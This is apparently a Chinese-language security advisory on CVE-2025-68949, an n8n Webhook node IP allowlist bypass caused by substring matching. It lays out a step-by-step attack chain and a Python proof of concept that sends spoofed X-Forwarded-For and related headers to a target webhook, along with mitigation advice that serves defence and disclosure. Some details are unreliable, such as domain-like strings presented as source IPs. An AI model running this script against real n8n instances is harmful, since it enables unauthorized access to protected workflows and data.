IPBUF安全漏洞报告
English
CVE-2025-68949 CVSS 5.3 中危

CVE-2025-68949 n8n Webhook节点IP白名单绕过漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2025-68949
漏洞类型
访问控制绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
n8n

相关标签

访问控制绕过IP白名单绕过字符串匹配漏洞n8nWebhook节点工作流自动化CVE-2025-68949

漏洞概述

n8n是一个开源工作流自动化平台。在1.36.0到2.2.0之前的版本中,Webhook节点的IP白名单验证存在严重的安全缺陷。该漏洞源于IP白名单验证逻辑使用了部分字符串匹配(substring matching)而非精确IP比较(exact IP comparison)。这意味着当配置IP白名单时,系统仅检查请求来源IP是否包含白名单条目作为子字符串,而不是进行严格的IP段匹配或精确地址比较。攻击者可以利用此漏洞,通过拥有一个与受信任IP共享部分前缀的IP地址来绕过IP访问控制。例如,如果白名单中配置了192.168.1.1,攻击者可以使用192.168.1.10或包含该字符串的其他IP地址(如192.168.1.1.evil.com解析到的IP)来绕过验证。该漏洞同时影响IPv4和IPv6地址。由于n8n的工作流通常涉及敏感业务逻辑和自动化任务,Webhook节点的IP限制功能被广泛用于限制对关键工作流的访问。此漏洞的存在使得依赖IP白名单进行安全边界防护的实例面临未授权访问风险,可能导致敏感数据泄露或业务逻辑被恶意触发。

技术细节

漏洞根本原因在于n8n的Webhook节点IP白名单验证代码使用了JavaScript的字符串includes()或类似的子字符串匹配方法,而非进行规范的IP地址比较。正确的IP白名单验证应该包括:1)解析IP地址为数值格式;2)处理CIDR范围或子网掩码;3)进行精确的数值比较或范围匹配。而漏洞代码可能使用了类似以下的错误实现:if (whitelist.some(entry => requestIP.includes(entry)))。攻击者可以利用IPv4/IPv6地址的分段特性构造恶意IP。例如,白名单配置为10.0.0.1时,攻击者可以使用10.0.0.10、10.0.0.100或10.0.0.1.attack等地址,只要这些地址的字符串表示包含白名单条目作为子字符串即可绕过验证。此外,IPv6地址的复杂表示形式(如::1、::ffff:192.168.1.1)也增加了绕过的可能性。攻击者可以通过简单的HTTP请求到目标Webhook端点,使用伪造或经过特殊构造的源IP来绕过IP限制。修复方案(版本2.2.0)应使用精确的IP比较、严格的CIDR范围匹配或使用专业的IP库进行验证。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标n8n实例,发现使用Webhook节点并配置了IP白名单限制
STEP 2
步骤2: 白名单分析
攻击者通过社工、错误信息泄露或枚举方式获取白名单中的受信任IP地址
STEP 3
步骤3: 构造恶意IP
基于部分字符串匹配漏洞,攻击者构造包含白名单IP作为子字符串的恶意IP地址,如在白名单IP后添加数字
STEP 4
步骤4: 发送伪造请求
攻击者通过HTTP请求头(X-Forwarded-For、X-Real-IP等)或直接源IP发送请求到目标Webhook端点
STEP 5
步骤5: 绕过验证
由于白名单验证使用includes()而非精确比较,恶意IP通过字符串包含检查,成功绕过IP限制
STEP 6
步骤6: 未授权访问
攻击者获得对受保护Webhook的访问权限,可触发工作流执行、获取敏感数据或执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import ipaddress # CVE-2025-68949 PoC - IP Whitelist Bypass in n8n Webhook Node # This PoC demonstrates bypassing IP whitelist using substring matching vulnerability TARGET_URL = "https://<target-server>/webhook/<webhook-id>" WHITELIST_IP = "192.168.1.1" # Assume this IP is whitelisted def generate_bypass_ips(whitelisted_ip): """ Generate IPs that could bypass whitelist due to substring matching The vulnerable code checks: whitelist.some(entry => requestIP.includes(entry)) """ bypass_ips = [] # Method 1: Append numbers to whitelisted IP base_ip = whitelisted_ip.split('.') for i in range(2, 20): test_ip = f"{base_ip[0]}.{base_ip[1]}.{base_ip[2]}.{i}" if whitelisted_ip in test_ip: bypass_ips.append(test_ip) # Method 2: Use IPv6 representation containing IPv4 as substring try: ipv4_obj = ipaddress.IPv4Address(whitelisted_ip) ipv6_mapped = f"::ffff:{whitelisted_ip}" bypass_ips.append(ipv6_mapped) except: pass # Method 3: Add extra octets extended_ip = f"{whitelisted_ip}.1" bypass_ips.append(extended_ip) return bypass_ips def test_bypass(): print(f"[*] Target: {TARGET_URL}") print(f"[*] Whitelisted IP: {WHITELIST_IP}") print(f"[*] Generating bypass IPs...") bypass_ips = generate_bypass_ips(WHITELIST_IP) for test_ip in bypass_ips: print(f"\n[~] Testing IP: {test_ip}") try: headers = { 'X-Forwarded-For': test_ip, 'X-Real-IP': test_ip, 'Client-IP': test_ip } response = requests.get(TARGET_URL, headers=headers, timeout=10, verify=False) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # If we get a different response than blocked, we may have bypassed if response.status_code != 403 and 'blocked' not in response.text.lower(): print(f"[!] POTENTIAL BYPASS with IP: {test_ip}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": test_bypass() print("\n[*] Note: This PoC demonstrates the vulnerability concept.") print("[*] Actual exploitation depends on specific n8n configuration.")

影响范围

n8n 1.36.0 至 2.2.0 之前的所有版本

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1)禁用Webhook节点的IP白名单功能,改用其他认证方式;2)添加额外的身份验证层,如API密钥、令牌或基本认证;3)限制Webhook端点的公开暴露,使用VPN或私有网络访问;4)配置Web应用防火墙(WAF)规则来检测和阻止异常的IP格式;5)监控和记录所有Webhook访问尝试,设置异常访问告警;6)考虑使用反向代理实现严格的IP访问控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表